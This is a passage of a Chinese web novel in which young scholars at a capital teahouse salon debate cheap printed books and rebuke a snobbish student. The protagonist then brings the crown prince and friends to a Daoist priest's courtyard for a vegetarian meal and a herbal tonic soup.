此时皆端正了坐姿, 脊背挺得笔直, 包括之前朝他们这边看来的那位。 再结合方才萧淮川说的这位鹤南先生的身份, 贾敬便瞬间明白, 和程一序坐一处的这几位年轻书生, 定然是书院出身。 想来也不仅仅是赣州的浮白书院, 或许,也有豫州南泉书院的子弟。 贾敬余光朝自己所处的同桌看去,宋子虚等人也只是见主场有人来,稍稍精神了几分,却远没有对面那样郑重,就连薛琼的神情也是没什么变化,想来他也不清楚这位鹤南先生。 那位鹤南先生并未急着坐下,而是一手负后站立,一手顺着他那斑白美髯,平静如深湖般的眼睛丝毫不显老态,缓缓凝视着在场众人。 待一圈看过后,鹤南先生朗声道: “遥想古时,山阳竹林之下,七贤雅聚,尽显风流佳话;亦有会稽兰亭集会,曲水流觞,纵横捭阖,谈论古今。” “今日诸君集聚于此,伴清茶余香,且抛开功名利禄之纷扰,只谈个人所思所获,畅所欲言,老夫托大,唤诸位一声小友,诸位小友可否愿意?” 不待薛琼这边反应,就见坐于程一序那一长案众人,皆起身,朝鹤南先生作揖, “晚生受教。” 薛琼宋子虚等人见状,立刻回过神来,也同样站起身作揖,虽慢了一瞬,却无伤大雅。 鹤南先生自然也不在意,抬手道:“诸位小友今日是我天珍阁之贵客,不必如此拘礼。” 众人落座,薛琼也终于看出对面那排长案诸位的不同来,目光又再次看向那位鹤南先生,轻声朝宋子虚道:“子虚,这位先生地位应当不一般。” 宋子虚显然也看了出来,眼神甚至朝对面的程一序剜了一眼,嘴里嘟囔: “程兄还真不厚道,来了不与我们坐一道便也罢了,只当是他想坐那里。如今瞧着,和对面那几位倒是老相识,知道些事情也不和我们提前说一声。” 宋子虚越说,越发觉得有些委屈,觉得这些时日与程一序的坦诚相待,竟然都有种白费之感。 薛琼大抵也猜出对面几人的身份,同贾敬所想一般,薛家有薛阁老在,京中清贵书香出身,十有八九都拜访过薛阁老,薛琼也将各家子弟认得大概。 而对面这些气度不凡的眼生年轻书生,想来也就只有那三大书院的子弟了,再想到程一序先前便是出自浮白书院,这一切便也明了了。 薛琼看着宋子虚气鼓鼓的模样,失笑道:“子虚,我们与程兄是同僚,对面也是他曾经的同窗,家乡同窗来京,他理应陪同的。” 宋子虚听了后,心中郁结这才消散了几分,又见程一序带着歉意朝他举杯,宋子虚也不好不理程一序。 就如薛琼所说,本就不是什么大事,再计较下去,也显得他自己心眼如针了,宋子虚自觉自己不是这样的人。 天珍阁举行的书场清谈,说是畅所欲言,可到底时间有限,也不可能漫无目的的随意闲聊,一般都会选一个近日时兴的话题展开。 鹤南先生于短案后坐下,手中轻轻拂过书案,眼神看似不经意地朝程一序那一边看去,缓缓道: “近日京中东市那边很是让热闹,许多书肆联合做了书市,想来诸位小友也都曾去逛过吧?” 贾敬和萧淮川对视一眼,没想到鹤南先生竟然选了这么一件事。即便他先前说不谈功名利禄之事,但这类清谈一般都是涉及当下时政策论。 天下读书人哪个没有治国安民之心? “为天地立心,为生民立命,为往圣继绝学,为万世开太平。”这是多少读书人谨记心中的圣人之言,以此来立志立心。 显然,除了贾敬惊讶,其余人也对鹤南先生这句开场有些摸不着头脑,但鹤南先生所言确实属实,他们大抵都去过。 鹤南先生又问:“小友逛这些书市,可曾有何发现?” 他问着话,目光落在了郑春身上,长得讨喜,自然吸引人,“这位小友可否愿意谈谈?” 郑春像是被夫子点名一般,先是一愣,不是说好随意交流吗?怎么还点名回答呢? 但很快郑春并调整好了状态,丝毫不怯,朝在座众人拱拱手,“在下一些拙见,还望各位友人海涵。” “东市的书市,在下前些日子去了,私以为书肆间这样是极好的。” 鹤南先生显然来了兴趣,追问道:“小友为何这样觉得?” 郑春:“首先,以前许多的书肆,总是将某些藏书束之高阁,不是熟客都不曾见过知晓那些书的存在,如今书肆间互相比较,纷纷将书都摆了出来,大家可选的书目也多了许多,甚好。” “其次,以前书肆的往来客并不多,而他们如今这样攒书市,极为热闹红火,就连不怎么进书肆的人也会来瞧上一瞧。” “最后……”郑春本就显得乐呵的脸上,笑意更深,小眼睛眯成一条缝,却也遮不住他眼中的精光,“这些书肆的书价格也相应便宜了许多,在下便能用同等价格买下更多的书了。” “于己有利,在下自然觉得好。” 郑春最后这句话,说的有些市侩了,可却不惹厌烦,反而觉得他坦率真诚。 况且郑春本就说得是实话,在座众人就算面上没什么表示,大多数心中也是认同的,毕竟他们每年买书也要花上不少费用,也不是人人都家境宽宥。 鹤南先生点点头,他也被郑春此人的坦率和真诚感染,脸上挂上了一抹浅笑。 可下一瞬,就有一道不认可的声音响起, “这看着是好事,实则里面有许多弊端,若是只看眼前这些蝇头小利,后面恐会出大乱子。” 开口的一人,就坐在程一序那一排最右边的位置。他身着一袭宝蓝色绸缎长衫,看向郑春的目光带着些许挑衅。 鹤南先生面色不变,只是问道:“这位小友有何见地和看法?” “哼,”那宝蓝色长衫书生哼了一声,“这书卖了快了,书商缺书,便加快了印书。” “瞧瞧这些书肆新出的诗集书籍,那内容简直是误人子弟,错字连篇,简直荒谬!” “若是都是这样质量的书,就算是便宜又如何?” “如毒瘤一般,是对圣人言的亵渎!” 宝蓝色长衫书生直接上了这么一个大帽子,引来全场人纷纷侧目。 他甚至直接看向郑春,“这位友人,你怎么说?” 仿佛是要跟郑春杠上一般。 郑春圆溜溜的眼睛盯着宝蓝色长衫书生看了好一会儿,脸上依旧挂着笑,语气乐呵。 “如今书肆书局制书,多数是印刷书,书局忙着赶量,难免疏漏。” “在下觉得,遇见这样的问题,应当及时和书肆那边沟通,让他们督促书局印刷那里,更加谨慎些。” 郑春这番话其实说的也没什么问题,甚至给了解决方案,可在宝蓝色长衫书生耳中,这是郑春对那些书商的袒护。 他冷笑出声,“可笑!书乃传道授业之基,怎可如此草率?” “要我说,这些印刷书就是在毁圣人言!” 他这话一出,在座许多人都稍稍变了脸色。 显然他话还未说完,接着侃侃而谈道: “我幼时曾徒步百里,去藏书之家借书抄写。” “如今尔等倒是懒惰,依赖印刷便利,却让这些粗制滥造之物横行,误人子弟!” 这话甚是刺耳,让许多人脸色大变,尤其是程一序所坐的那排,皆将目光看向了鹤南先生。 而薛琼宋子虚脸色也沉了下来,今日汇集在此,是为了谈经论道,杂谈交流,此人却戾气满身,说的话宛如一柄利矛直直插向郑春等人。 郑春此时脸上笑意也淡了几分,目光沉沉地看向那宝蓝色长衫书生, “这位友人,书局印刷本确实有错印漏印,可到底是少数,于万千书籍中,如九牛一毛。” “品质上好的抄本藏本自然大家喜欢,可价格昂贵,数量稀少,并不是所有人都能买得起,或者买得到。” “可印刷本让更多人可以买得起,至于书籍质量问题,这是书商书局可以改进的地方,并不是什么大问题。” 郑春这一番说的有理有据,按理说挑不出什么错来,可那宝蓝色长衫书生却不依不饶。 “既读不起书,又何必逞能来读?” 【作者有话要说】 注释:【为天地立心,为生民立命,为往圣继绝学,为万世开太平。】出自张载横渠四句。 第80章 宝蓝色长衫书生脸上带着倨傲和嘲讽, 说出的话让全场哗然。 从这人的衣裳配饰来看,便知道是个富家子弟,可说出这般话来, 着实刺耳难听。 且不说程一序闻言脸色陡然一变,就连皇甫玦身边那位一直看着从容的年轻书生也冷冷瞧了宝蓝色长衫书生一眼。 至于其他人,则是眼神紧张地望着鹤南先生。 而贾敬这方坐着的几位, 亦是脸上不好, 他们当中不乏有寒门出身, 苦读多年中举的人, 自然清楚这一路走来的艰辛以及温饱的压力,就连薛琼脸上也不复往常的温和。 萧淮川冷眼看着,端起一杯茶轻抿了一口。 贾敬眉眼轻挑, 看向那人的眼里带着些嘲讽, 心道这人还真是狂傲,狂傲到……显得蠢。 上数几百年,世家门阀林立,朝中权柄由世家把持, 连君上天子都好似傀儡,直至科举破局。 科举一制经历几朝, 已有数百年, 算得上各朝之根基。 曾经的千年世家逐渐衰落, 如今仅存的世家也早已不似先朝那般盘根错节, 势力庞大。 然而, 瘦死的骆驼终究比马大, 世家百年积攒的珍本典籍、名师先生, 远不是为求温饱就已经耗尽全力的寒门能比拟的, 如此一来, 君上天子依旧忌惮世家。 况且亦有“君子之泽,五世而斩”的说法,就连贾家,一门双国公的荣耀,上辈子亦是气数已尽,衰败落寞。 于平民寒门子弟来说,自古便有着“朝为田舍郎,暮登天子堂”的佳话。 因而无论是豪绅望族,还是寒门平民,谁不想通过读书科举一道,登上这条朝廷遴选贤才之天梯,成为天子门生呢? 而君上天子更是借助此道,平衡牵扯着各方势力,是为帝王心术。 这宝蓝色长衫书生却说了什么?话里话外都在追忆曾经世家的风光罢了。 他的小心思在场众人都晓得,有的不齿,有的即便心中也向往过,却不曾敢说出来。 鹤南先生依旧是平静的神情,他也没急着开口,而是默默看着。 皇甫玦作为全场最年幼的少年,早已经怒目圆瞪,他“噌”得站起身,直接抬手指着那宝蓝色长衫书生,开口啐道: “曾越启,你这小人心肠,简直无耻!” “你以为你有几个臭钱,便能这般羞辱人?” 皇甫玦显然认识这人,一口叫出了这人的名号。而他啐骂曾越启的话,振聋发聩,在天珍阁厅内回荡。 在座就算不认识皇甫玦、不知道他身份的人,也能看出,这是位金尊玉贵的小公子,定是出身不凡,却不曾想,他竟然是第一个站出来说话的人。 贾敬看着,嘴角不禁勾起一抹笑,“阿玦当真有一颗赤忱之心。” 萧淮川的目光也落在了皇甫玦身上,他也没想到在门口遇见的小少年,看似调皮不稳重,实则比谁都透彻干净。 “倒是我以貌取人了。”萧淮川轻声说了句,“阿元的眼光,一如既往的好。” 贾敬听后不禁侧目,“难得见你说这话。” 萧淮川轻瞥了贾敬一眼,没吭声。 曾越启本想挑衅羞辱的是郑春,毕竟先前郑春那一番言论,已然让他认定,郑春家境一般。 却不曾想,郑春养气功夫十足,没当场失态,反而是皇甫玦第一个跳出来驳斥他。 皇甫玦丝毫没给曾越启脸面,他忽的站起身,脸上瞬间涨红,可他又好似顾忌着皇甫玦,只是紧紧攥着拳头,几息后,才僵硬着脸道: “难道我有说错吗?” “这些穷酸书生,连纸笔都要省着用,书更是买不了几本,错印漏印的劣质印刷本都能当个宝贝,能有何大作为?” “要我说,他们也不必科举,靠着他们现在那些浅薄能力,去给书院抄书,都能够养家糊口了,何乐而不为?” “他们这群人抄出来的质量虽比不上古籍善本,也比那些印刷本强。” 曾越启越说,越是兴奋,极尽得意,目光则是直勾勾地盯着郑春。 皇甫玦他不敢得罪,可这人……呵。 要他说,那些泥腿子出身的人,就不配入朝为官,不过都是井底之蛙,跃了龙门也变不成真龙! 曾越启其实一直也注意着鹤南先生,他虽在浮白书院读书,挨不着南泉书院什么事,可鹤南先生到底是有些威望的。 在这里,得罪了旁人曾越启都不怕,不过是些书生,但不能惹鹤南先生不快。 而鹤南先生的神情不曾变过,曾越启便放下心来,想来鹤南先生为南泉书院先生,想来也看不上这些寒门子弟。 郑春自然看出曾越启的挑衅,见皇甫玦还准备说话,他站起身,朝皇甫玦拱手道: “谢小兄弟仗义执言。” 谢完皇甫玦,郑春便直视着曾越启,脸上不露丝毫怒意,反而是勾起了他往日里最常见的乐呵笑容, “你这么怕寒门子弟走科考一道,是心知自己考不过吗?” 简简单单一句话,却跟利刃一般戳破了曾越启脆弱又敏感的隐晦心思,极具杀伤力。 曾越启听到这话,本就涨红的脸此时成了猪肝色。 他双眼瞪大,眼珠子都要蹦出来一般,死死地盯着郑春,额头上也爆起了一根根青筋。 “哈哈哈哈……”皇甫玦当即笑出了声,“我觉得这位大哥说的极是!” 随着皇甫玦的笑声,大厅内也跟着冒出了几声闷笑。 贾敬就跟看热闹一般,时不时吃着糕点点心,都未注意到,他手中的点心皆是萧淮川递至到他的掌心中。 曾越启一个跨步就要向前,方向瞧着便是郑春所在的位置,可当他刚迈出一步,又像是想起眼下是什么场合,生生顿住。 郑春像是被吓了一跳,“怎么,你还要打人不成?” “一派胡言!”曾越启声音拔高至嘶哑的地步,恶狠狠瞪着郑春,“我岂会考不过你们这群泥腿子!” 郑春脸上笑意更深,原本溜圆的眼睛眯成一条缝,态度极好,“敢问这位曾友人,如今是何功名?” 曾越启听了这话,像是掉坑的人看见了梯子,顺着就往上爬,却没想到,这是郑春给他挖的坑。 他抬着下巴,语气自得,“我待三年之后下场春闱。” 话中意思便是,他秋闱已过,已经是举人功名。 曾越启如今其实也不过弱冠,在当地像他这般年轻的举人,着实不多,可谓是凤毛麟角。 而他虽在浮白书院读书,可也正如皇甫玦所说,他家不过是家底殷实,还没到那种不如朝堂隐世的地步。 曾越启等着他说完功名后自己想要看见的情形,然而,这不过是他的臆想。 不说郑春没反应,就连薛琼宋子虚等人亦是没什么神情变化。 郑春还是笑着,那笑在曾越启看来刺眼得很,他咬着牙问郑春,“我自报了,阁下呢?又是何功名?” “我?”郑春反手一指自己,“某不才,今岁科考刚进二甲榜单罢了。” “怎么可能!”曾越启难以置信,不相信眼前的胖子竟然是今岁的二甲进士。 他目光下意识看向郑春旁边的几人,郑春看似善解人意解释道:“这些皆是在下的同年和同僚。” 曾越启闻言险些失态,抖着嘴唇,刚要说什么,就见郑春手一样, “想来你应当是认识程兄,程兄便是今岁进士,在下与程兄如今亦是同僚,若是不信,你且问他。” 曾越启不由得转过脸,刚看向程一序时,他旁边的皇甫玦便大笑, “曾越启,你今天运气好,这在场有七八位都是今岁的进士呢!” 程一序淡淡地看了曾越启一眼,没反驳,曾越启心陡然一沉,脸色瞬间煞白,除了自己这边坐着的几位,对面人数加起来也不过就是十人左右,竟然都是今岁刚中的进士? 他还知程一序入了翰林院,这些是他的同僚,那么就全是入了翰林的新科进士…… 曾越启脸上挂不住,只当自己倒霉,心中又想着,这些人中了如何,没家族帮衬,多的是中下等的小官。 可他也知道,他心中再看不起这些人,这些有了官身的人,也不是他现在能开口侮辱的。 曾越启不吭声的坐下,想着息事宁人。 郑春却又接着开口:“朝廷开设科举,本是为了广纳贤才,不论出身,为圣上分忧。而曾友人方才说了什么?” 他没讲话讲明白,却已经把曾越启吓得腿软,直接一屁股坐在了地上。 “我……”曾越启求救般地看向鹤南先生,如今只有鹤南先生能够救他! 今日之事若是传出去,他便毁了! “先生……” 曾越启话刚说出口,鹤南先生便摆了摆手,“不必多言。” “老夫先前说过,在这天珍阁,可畅所欲言,在这里说的话,出了这道门,便散了。” 鹤南先生看向郑春,“这位小友,可愿意?” 郑春笑着,“老先生说的是。” 他刚刚的话本也就是吓一吓曾越启,如今这位老先生这样说,他自然不再计较。 曾越启脸上闪过一丝侥幸之色,不顾发软的腿,站起身朝鹤南先生作揖,“谢先生,谢……” “慢着。” 鹤南先生打断了曾越启的话,“你不该和老夫道谢。” 曾越启一愣,紧接着便明白了鹤南先生的意思,是要他跟郑春道谢。 郑春不跟他计较,才放过他一马。 然而曾越启却不这么想,他自觉自己无错,只是倒霉撞上了郑春这群人。 但他面上还是顺着鹤南先生的意思,暗自咬牙,压下眼底的恨意,朝郑春一个作揖,动作糊弄,嘴上也是什么也没说, 曾越启快速作揖完,刚准备坐下,就听鹤南先生又道: “今日之事,不为外人道也。” “但书院弟子此次进京,你们夫子先生早已经来信,让老夫好好照拂,今日之事,我会给你们夫子先生去信一封。” 曾越启瞬间傻了眼,这若是让书院先生知晓,他岂会有好果子吃? 皇甫玦也不嫌事大,笑吟吟道:“曾越启,我记得黄夫子少时便是刻苦读书,为一段佳话。” 黄夫子正是曾越启在浮白书院的夫子,亦是寒门出身。 “你放心,这事情,我也会写信寄回去的!”皇甫玦又补充了一句。 曾越启这下彻底瘫了,直觉眼前发黑,皇甫玦可是皇甫院长的小儿子,他写信回去,院长岂不是要把他逐出书院? “砰!” “哟,这就晕了?”皇甫玦撇了撇嘴,看着小厮将人抬走了。 程一序在一旁道:“仗义执言,可舒坦开心了?” 皇甫玦点点头,随后眼神鄙夷地看着地上那一坨,语气嫌弃: “鹤南先生今日所聊话题,我甚是感兴趣,还想深聊一下怎么减少印刷的错印漏印,他倒好,瞎扯一痛,尽浪费小爷的时间!” “你还没放弃你研究的那些?”皇甫玦另一旁的年轻书生插了一句。 “贺大哥,我说了,我不会放弃的!”皇甫玦转过头看着那人,一字一顿,语气坚定。 而皇甫玦口中的贺大哥则是和程一序对视一眼后,都笑了。 “诶,贺大哥,咱们对面也坐了一位贺大哥。”皇甫玦像是忽然想到什么,冒了这么一句。 “我瞧着你们长得还挺像,莫不是祖上是一家?”皇甫玦撑着下巴,抬眼看了对面萧淮川一眼。 “休要胡言!” 程一序面色微变,皇甫玦不清楚萧淮川的身份,他岂会不知? 那贺姓不过是假姓,储君又怎么可能和豫州贺家是一家。 “临渊,阿玦小孩子话,你别……” 程一序也跟贺临渊解释了句,谁知话没说完,就见贺临渊似笑非笑地盯着对面,准确说,盯着储君萧淮川。 程一序眼眸闪过一丝诧异,刚刚阿玦可没说口中的“贺大哥”是谁,贺临渊怎么这么精准地看了过去。 贺临渊收回目光,倒了杯茶,一饮而尽,才缓缓吐出一句话。 “与他一家?可不敢当。” 程一序听着话,觉得很是古怪,有种贺临渊知晓萧淮川身份的错觉。 可若是贺临渊真的知晓,方才说出口的那句话,又怎么听都带着一丝嘲讽? 程一序心中暗自想着,却没有多问,只是问: “临渊此次进京,可是想要三年后下场?” “倘若是你的话。绝没有问题。” 贺临渊瞥了程一序一眼,“不去,没意思。” 程一序对于这句也不意外,贺临渊挂在嘴上说了多年了。 “淮哥,你认识坐在阿玦身边的那个人?” 贾敬偏头问着萧淮川,他观察许久了,早就看出了萧淮川和皇甫玦身边那人的异样。 “不认识。”萧淮川否认,紧接着话锋一转,“但我大概知道他的身份。” “谁?” “应当是豫州贺家的人。” 【作者有话要说】 注释:1.【君子之泽,五世而斩。】出自《孟子》 2.【朝为田舍郎,暮登天子堂。】出自《神童诗》【你现在阅读的是魔蝎小说 moxiexs】 80-90 第81章 因着刚才闹得那么一出, 今日的天珍阁书场清谈匆匆结了尾。 一来,郑春薛琼这边儿,大家伙儿虽面上不显, 可被刚刚那般冒犯,心中还是有些不悦;二来,程一序的这些曾经的同窗们, 除了有几位和曾越启一样, 举人功名, 只待三年后下场春闱, 剩下的则是同贺临渊一般,没有入仕的打断。 前者终究是要进入官场朝堂,踏上仕途, 若是此时得罪了前辈, 便不美了;至于后者,本就不愿与在朝为官这些人为伍,畅聊辩论之心便也消散了大半。 鹤南先生亦没有强求之心,很快众人便散去。 薛琼宋子虚等人起身时, 见贾敬和萧淮川还坐在位上,拱手道:“贺公子, 培元, 我们就先行告辞了。” 几人脚步并不慢, 很快就出了天珍阁, 不见了踪影。 贾敬乜了萧淮川一眼, 调侃出声, “瞧你把人家吓得。” 萧淮川不置可否, 只是一只手拿出一张帕子, 另一只手极为自然地捞过贾敬的手腕。 “诶……”贾敬诧异, 不由得出声。 接着贾敬便看着萧淮川用帕子将自己占了糕点屑的手指,一根根擦干净。 贾敬顺着自己的手朝前看去,萧淮川那双凤眸凝视着,深邃专注,他仿佛像是在擦拭着什么珍贵的瓷器,小心翼翼。 萧淮川温热的指腹还时不时擦过贾敬的指骨,贾敬的手指不由得稍稍蜷缩。 “另一只。”萧淮川将贾敬一只手擦净后,松开手,这次他没有直接捞起贾敬的手腕,而是手掌朝上,等着贾敬自己将手放上去。 贾敬定定地看着萧淮川,既没有说话,也没有动作。 萧淮川微微勾唇,“怎么这样看着我?” “阿元还记得吗?你小时候在东宫用完膳,最喜欢跟着我,让我帮你擦。” 随着萧淮川的话,贾敬亦思及其小时候的这段记忆,脸上划过一丝怀念和笑意。 那时候,小贾敬最喜欢缠着萧淮川,因为,他向萧淮川提什么要求,萧淮川都不会拒绝,这让在家中贾代化面前胆颤的贾敬,在萧淮川面前愈发放肆。 小贾敬贪念萧淮川的温柔与纵容,他能在萧淮川身上感受到自己有被珍视。 就如现在萧淮川看着他的眼神。 贾敬的手也不自觉地放到了萧淮川的掌中。 萧淮川手上动作愈发细致,贾敬看了萧淮川一瞬,微微垂眸,遮住眼中的沉思。 曾经,他们确实是这样相处,可那到底是孩童时期,如今,早已经不一样了。 “走吧。”萧淮川收起帕子,率先站起身,又朝贾敬伸出手。 贾敬却好似没看见萧淮川的动作,自顾自的站起身,眼睛四处看着,像是才发现一般道: “嗯?他们都走了?” 萧淮川的手在空中悬了一息,才收了回去。 两人并肩出了天珍阁后,意外地看见等在门口的皇甫玦和程一序。 皇甫玦见贾敬出来,眼睛亮了亮,“培元哥哥,你终于出来了!” 贾敬诧异地看着皇甫玦,“阿玦是在等我?” 皇甫玦点头:“是啊。” 他说着一指程一序,撇了撇嘴,“他还说你走了呢,我说我一直有盯着门口,可没见你还有这位贺大哥出来。” 皇甫玦眼睛迅速朝萧淮川看了一眼。 萧淮川不动声色,面色无常。 贾敬眉眼弯起,“阿玦等我,可是有什么事?” 皇甫玦眼巴巴盯着贾敬,“没事我就不能找培元哥哥了吗?” 贾敬张了张嘴,失笑出声:“怎么会。” 皇甫玦抬首看了看日头,“这时候去吃饭也不算早了,培元哥哥,我请你还有这位贺大哥吃饭!” 还不等贾敬拒绝,皇甫玦撇了撇,眼神嫌弃地看向天珍阁的牌匾,“连顿饭都不留人吃,真抠!” 皇甫玦的这一声嘟囔,让贾敬三人皆是一愣,随后笑出了声,可不就是吗? “走,我带你们去个地方。”贾敬扬起一抹略带神秘的笑。 皇甫玦见状,瞬间来劲,不停追问贾敬,“什么地方?什么地方?有什么不同之处吗?” 就连萧淮川都起了一丝好奇,挑眉道:“阿元要带我们去的地方,连我也不知吗?” “随我来吧。” 贾敬像是打定主意不提前告诉他们,迈步便朝一个方向走去。 萧淮川跟上,皇甫玦则是和程一序跟在身后,皇甫玦时不时小声问着程一序,显得亲昵自然。 萧淮川偏头看了一眼,便收回了目光,迈步大了几分,与贾敬并排。 贾敬带着他们七拐八绕进了一处不甚宽敞的胡同,脚下的青石板泛着些浅浅青苔。 “小心脚下。”贾敬时不时地提醒着,他自己却是显得轻车熟路。 萧淮川默不作声地跟在贾敬,神情带着些心不在焉,不知道在想写什么。 程一序则是手扶着皇甫玦,生怕他一个不小心就摔了。 “就是这里了。” 贾敬停在了一处小院门口,那木门也上了些年纪了,显得沟壑纵横。 “嗯?这是什么味道?”皇甫玦刚上前,就不由得动了动鼻子,像是闻到了一道奇怪的味道。 “好像还有什么声音。”程一序仔细听了一会儿。 萧淮川沉吟,目光看向贾敬,见他丝毫不意外,问道:“里面是在诵经吗?” 贾敬点点头,“是,道家的早课,念得是《冲虚真经》。” 这话一出,皇甫玦脸上难得出现了一抹茫然,他可从未听过这个什么冲虚真经。 就连萧淮川都有些诧异,贾敬居然能一口道出这经的名字。 “哈哈,这位善信竟然也懂此经?” 一道爽朗的中年人声音从门扉后响起,伴随着木门推开的“吱呀”声,一位身着道袍的中年男子出现在了贾敬四人面前。 中年道长眉目清明,一眼就落在了贾敬身上。 贾敬手握子午诀,朝中年道长行了一个道家的见礼,“道兄,您慈悲。” 中年道长本就好奇贾敬这么一位富贵子弟能道出《冲虚真经》,如今见他这番礼仪,更是有些惊奇。 而旁边的皇甫玦和程一序也看的有些懵,萧淮川虽没前二者那般震惊,却也微微眯起了眼。 阿元何时对道家的东西这般了解了? “四位善信请进。”中年道长笑着邀请着贾敬四人进去。 来者是客,自然没有把人堵在门口的道理。 一进院内,先是一阵檀香,紧接着便是一道若有若无的……饭菜香? 皇甫玦张望了一下,也没确定香味的来源,但心中却想着: 这就是培元哥哥说的,吃饭的地儿? 小院不大,但收拾的极为干净。正厅被改成了早课参拜的道场,中年道长领着贾敬他们去了侧边厢房改成的会客静室,没一会儿,就有个小道童端上了一壶茶。 皇甫玦几人从进来,便是贾敬做什么,他们就跟着做什么。 待全部坐下后,中年道长饶有兴致地看向贾敬,“这位善信可清楚贫道此处的规矩。” 贾敬颔首,“友人是玄真观俗家弟子,也曾经拜访过秦道长,我来时,他和我说了秦道长您的规矩。” 这话说得滴水不漏,玄真观俗家弟子亦不少,秦道长一时也不知道是谁,但他见到贾敬便觉得有缘。 “善信平日也早课修行?能一口道出《冲虚真经》,着实不俗。” 贾敬笑笑,态度诚恳,“看过。” 不过这话,显然秦道长不会信,皇甫玦等人亦不会信。 但贾敬了解秦道长,他知道,他这样答后,秦道长便不会再追问了。 果然,秦道长沉默了一息,便站起身,朝贾敬道:“善信在此歇息,贫道去安排膳席。” 待秦道长走后,皇甫玦终于憋不住了,赶忙问道:“培元哥哥,这里到底是什么地方?他嘴上说的规矩是什么?我们就在这里用膳?” “还有方才那位道长,”皇甫玦抬起手,朝外指了指,“你也没有开口,他怎么就知道我们是要来用膳的?” 贾敬听着皇甫玦一连串的问话,不禁笑了,紧接着,他对上萧淮川看来的目光,笑意浅了几分,但还是道: “我来一一说清楚。” “这位秦道长是玄真观的道长,师从方天师,为个人修行,从玄真观搬出,不受玄真观香火,而是来到了这座小院。” “至于刚刚秦道长说的规矩……”贾敬说至此处顿了顿。 “什么规矩?”皇甫玦不由得心跟着一提。 贾敬瞥了皇甫玦一眼,缓缓吐出一句,“在此吃一餐道家饭,留下香火钱,这香火钱是每逢月中月尾接济京中保育堂的婴孩。” 皇甫玦眨了眨眼睛,语气带着质疑,“这能有多少钱?” 贾敬摇了摇头,“秦道长的手艺,绝对称得上京中道家菜一绝!” 说起来,这位可能是贾敬入玄真观后,唯一一位挂念吧。他与秦道长算是忘年交,曾经秦道长羽化前,还和贾敬说过,若是他不是个道士,绝对会是一个厨子。 奈何秦道长是人家丢在玄真观门口的弃婴,从小就是个道士。 不过,自他从玄真观出来后,入了这小院,也算是圆了他的心意,用秦道长对贾敬说的,他用厨艺修行修心。 “培元,且去修你的心吧。” 贾敬想起上一世的往事与故人,眼眶不禁涩然,他连忙垂下眼睑,不愿被人瞧见端倪。 他不知,萧淮川从进来后,视线便一直落在贾敬身上,不曾挪开过。 说话间,二三小道童进来,手捧着托盘,上面各式各样的菜肴。 皇甫玦望着从未见过的菜肴样式,问贾敬,“培元哥哥,这就是你说的什么道家菜?” “我以前怎么没见过的呢?” 程一序瞧了皇甫玦一眼,“你连道观的门都没踏过,怎么可能见过?” 皇甫玦努努嘴,“说的跟你踏入过道观似的。” 他们家是浮白书院,作为大乾三大书院,供奉的自然是孔夫子,常年祭拜参见的自然也只有孔庙而已。 “培元哥哥,你要不给我说说,这都是什么菜啊?”皇甫玦一脸好奇,是智者其中一大盘汤,“比如这个,这个汤是什么?我瞧着像太极图。” 贾敬:“你说的没错,这正是太极图,这汤羹做阴阳太极羹。” 贾敬随后依次介绍了阴阳鱼,四方肉,太虚丸子,上清豆腐…… 皆是以道家相关传说和典故所制成的菜肴,这边是纯正的道家菜。 皇甫玦忙不迭尝了一口,紧接着便直点头,“这菜瞧着清爽,可味道着实鲜美啊!” “这便是道家菜的精髓所在。” 【作者有话要说】 注释:道家菜菜名源于网络搜索。 第82章 “淮哥, 尝尝这个。” 贾敬看了眼端坐着的萧淮川,将一小盅汤推至了他的面前。 萧淮川接过,望着小盅, 鼻尖嗅到一丝丝味,像是药材的问道。 他抬眸看着贾敬,轻声问道:“这里面放了什么?” 贾敬原本收回去的手顿了顿, 随后道:“这是黄芪竹荪汤, 味道鲜美, 开胃。” 至于这汤的效用, 贾敬并没有提。 黄芪竹荪汤有养气补虚的效用,其中黄芪性属甘温,可以滋补肾气, 升阳补中。 嗯, 俗称,可以壮阳。 这道汤是贾敬特地推到萧淮川面前,他来秦道长这里,也是在萧淮川和他说了那件事后便决定的。 自古便是医道不分家, 秦道长对于药补一道也是钻研颇深。 贾敬既知道了萧淮川那处……不行,自然要为他想些办法, 但又怕伤及萧淮川的自尊心, 只好借吃饭之名, 领萧淮川来秦道长这里。 萧淮川若有所思地盯着贾敬。 总觉得阿元像是瞒了他什么, 但直觉告诉萧淮川, 就此打住, 不要再问了。 贾敬见萧淮川没执着问下去, 悄悄松了口气。 “淮哥, 你快尝尝看, 不然就要凉了。” 萧淮川手拿着汤匙,舀了一勺,送入口中,虽然是拿药材烹煮,却没有什么苦涩之感。 “确实鲜美。” 贾敬笑了,一旁的皇甫玦吃饭的动作一滞,目光落在萧淮川面前的汤盅上,紧接着用期待的目光看着贾敬, “培元哥哥,你给贺大哥准备了什么好东西啊,我能不能……” “不能!” “不能!” 还未等皇甫玦话说完,两道拒绝异口同声响起。 皇甫玦不免有些一,瞪着眼睛看着贾敬和程一序。 而贾敬和程一序在听到对方的拒绝后,同时抬眸,相视一眼。 程一序眼睛眯起,原本他只当这盅汤是那位道长自行准备的,而贾敬也只是顺手递给了太子殿下,毕竟秦道长去准备膳食时,程一序可没看见贾敬有跟秦道长嘱咐着什么。 可刚刚贾敬阻止皇甫玦的举动,让程一序起了疑。 显然贾敬知道黄芪汤是什么效用,而他还特地给了…… 程一序眼神下意识飘向萧淮川,可飘到半路时,他心一跳,硬生生忍住,将目光转了回来。 若真的是为太子殿下特地准备,那…… 程一序猛地将自己脑中大逆不道的想法打断。 贾敬眨了眨眼睛,与程一序对视,那双桃花眼里尽显纯良。 心里却想着,没想到程一序也知道这汤的效用。 两人又同时错开眼神。 皇甫玦看了眼贾敬,又看了眼程一序,最后还是缠上了程一序,“为什么不能?” 程一序暗自咬了咬牙,目光胡乱在桌上扫视着,脑中思绪飞转。 那可是补肾壮阳的汤,怎么能给皇甫玦喝? 贾敬则是显得比程一序淡定许多,这桌菜,除了秦道长外,就属他最熟。 “这桌上就这一盅汤,怎么给你尝?” 皇甫玦听着,目光朝桌上看去。 果然如贾敬所说那般,像萧淮川面前摆着的那种汤的汤盅,整个桌面上竟然有且仅有那么一个而已。 “阿玦尝尝这个,这花茶清香甜口,你应当会喜欢。”贾敬则是从桌案边缘端来一盏茶杯,稳稳当当递到了皇甫玦的手边。 皇甫玦见状,倒也没有过多的犹豫和纠结,端起便品尝了起来,下一瞬他的眉眼就弯了起来,难以掩饰的喜爱之色爬上眼梢。 “培元哥哥,这个好,这个好啊!” 皇甫玦称赞后,紧接着追问,“这花茶可以买吗?” 贾敬点头,“自然可以,只需要留下捐赠保育堂的银钱,便可以随意带走。” 